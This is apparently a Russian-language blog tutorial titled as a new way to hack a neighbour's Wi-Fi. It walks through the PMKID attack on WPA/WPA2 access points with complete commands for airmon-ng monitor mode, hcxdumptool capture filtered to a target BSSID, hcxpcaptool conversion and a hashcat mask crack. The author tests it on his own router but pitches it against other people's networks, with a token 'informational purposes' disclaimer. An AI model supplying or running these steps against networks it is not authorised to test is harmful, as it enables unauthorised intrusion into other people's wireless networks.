February 25, 2020

Новый способ взлома соседского Wi-Fi

Привет, мои лучшие подписчики. Сегодня я готов показать вам суть метода с помощью которого можно получить идентификатор PMKID в составе ответа EAPOL на запрос аутентификации (PMKID указывается в опциональном поле RSN IE (Robust Security Network Information Element)).

Наличие PMKID позволяет определить разделяемый ключ PSK (Pre-Shared Key, пароль к беспроводной сети) без непосредственного получения вычисленного на его основе PMK (Pairwise Master Key), передаваемого на этапе согласования соединения при успешной аутентификации нового пользователя.

Основная разница этой атаки от существующих, в том что нет необходимости захватывать полное "рукопожатие", а достаточно одного кадра EOPOL, ну второе не менне важное - это то что нет необходимости ждать пользователя который подключиться к атакуемой сети, так как атака будет происходить непосредственно на саму AP.

Что нам потребуется?

  1. Linux (в моем случае Linux parrot 4.16.0-parrot16-amd64)
  2. hcxtools
  3. hcxdumptool
  4. Hashcat v4.2.0

Загрузка и Установка

Hcxtools (аналогично и для hcxdumptool)

  1. git clone ZerBea/hcxtools
  2. cd hcxtools
  3. make
  4. make install

Hashcat v4.2.0

Даже если у вас уже установлен hashcat, но он ниже версии 4.2.0, то Вам нужно будет его удалить, затем скачать свежую версию и установить, как и я это делал, ну или обновить другим известным для Вас способом т.к. в старых версиях нет метода расшифровки PMKID для WPA/WPA2 (а именно 16800).

  1. git clone hashcat/hashcat
  2. cd hashcat
  3. make
  4. make install * (пояснения внизу)

Всю атаку я буду проводить на своем роутере. Марка Asus RT-N12C1. Прошивка последняя.

Переводим интерфейс в режим монитора

Первый способ

Код:

airmon-ng start wlan0 (wlan0 - это Ваш интерфейс, посмотреть можно введя команду ifconfig)
airmon-ng check kill

Второй способ

Код:

ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng check kill

Запускаем сканирование Wi-Fi сетей

airodump wlan0mon (wlan0 в зависимости от того каким способом пользовались)

Мой тестовый Wi-Fi называется "Happy_New_Year"

Сохраняем BSSID нашей тестовой AP БЕЗ ДВОЕТОЧИЙ в файл... я это сделал следующей командой.

Код:

echo "60A44C55D7C0" > filter.txt

Запускаем Hcxdumptool

Код:

hcxdumptool -i wlan0 -o hash --filterlist=filter.txt --filtermode=2 --enable_status=1

-i wlan0 -имя нашего сетевого интерфейса

-o hash - выходной файл в pcapng формате в котором есть строка PMKID с хешем

--filtermode=2 - указываем что наш filter.txt будет целевым списком

--filterlist=filter.txt - файл с BSSID который мы Вы сохранили

--enable_status=1 - включаем сообщения по маске (EAPOL,PROBEREQUEST,AUTHENTICATON или ASSOCIATION )

После получения сообщения "FOUND PMKID" мы останавливаем работу скрипта, и как вы можете заметить мне пришло аж сразу 3 сообщения о найденных пакетах в которм содержится строка с хешем PMKID. И так, Hcxdumptool справился со своей задачей и нашел нужный пакет с хешем... идем дальше!

Запускаем hcxpcaptool

hcxpcaptool -z hash_crack hash

-z hash_crack - выходной файл, с хешем PMKID очищенной от лишней инфы, для hashcat (hashmod -m 16800). преобразован в обычный текст.

hash - файл в pcapng формате (все собранные пакеты hcxdumptool)

В моем случае он обнаружил 3 пакета, как я уже говорил, и все данные записал в мой текстовый файл hash_crack..... в 3 строки. Как раз эти строки мы и будем расшифровывать в HASHCAT

Запускаем HASHCAT

hashcat -m 16800 -a 3 -w 3 hash_crack '?u?s?d23456A' --force

-m 16800 - новый hashmod который появился в версии 4.2.0

?u?s?d?d?d?d?d6A - мой пароль по маске + 2 последних символа которых я знаю из этого пароля

1 день и 4 часа проверять я конечно же не буду, но я добавил ее пару известных символов и перезапустил... вот результат...

пароль был успешно найден.

Вывод из всего этого могу сделать только один.... данный метод на голову выше своих предыдущих вариантов атаки, к тому же я посмотрел на скорость которая хоть и не намного выше чем в aircrack-ng, но все же, а если учесть то что у некоторых есть хорошие видеокарты, то это вообще отличное подспорье! к тому же нет больше необходимости ждать юзверя и перехватывать "рукопожатие" + этих скриптов в том что можно это все делать не на одной точке а на нескольких одновременно... добавив в первичный текстовый файл BSSID разных AP.

Трудности с которыми я столкнулся

  1. наверно единственная была маленькая проблема при переустановке hashcat. После удаления (apt-get remove hashcat), перешел в папку свежескачанного скрипта.....
  2. make
  3. make install

и тут мне выдает ошибку - "include/ext_OpenCL.h:15:10: fatal error: CL/cl.h: No such file or directory #include <CL/cl.h>", мол нет какой-то папки....так и правильно у меня в принципе не было OpenGL....так что порыскав, в течении пару минут нашел решение - apt-get install opencl-headers, после чего hashcat благополучно заработал

Я никого ни к чему не призываю, статья написана в ознакомительных целях!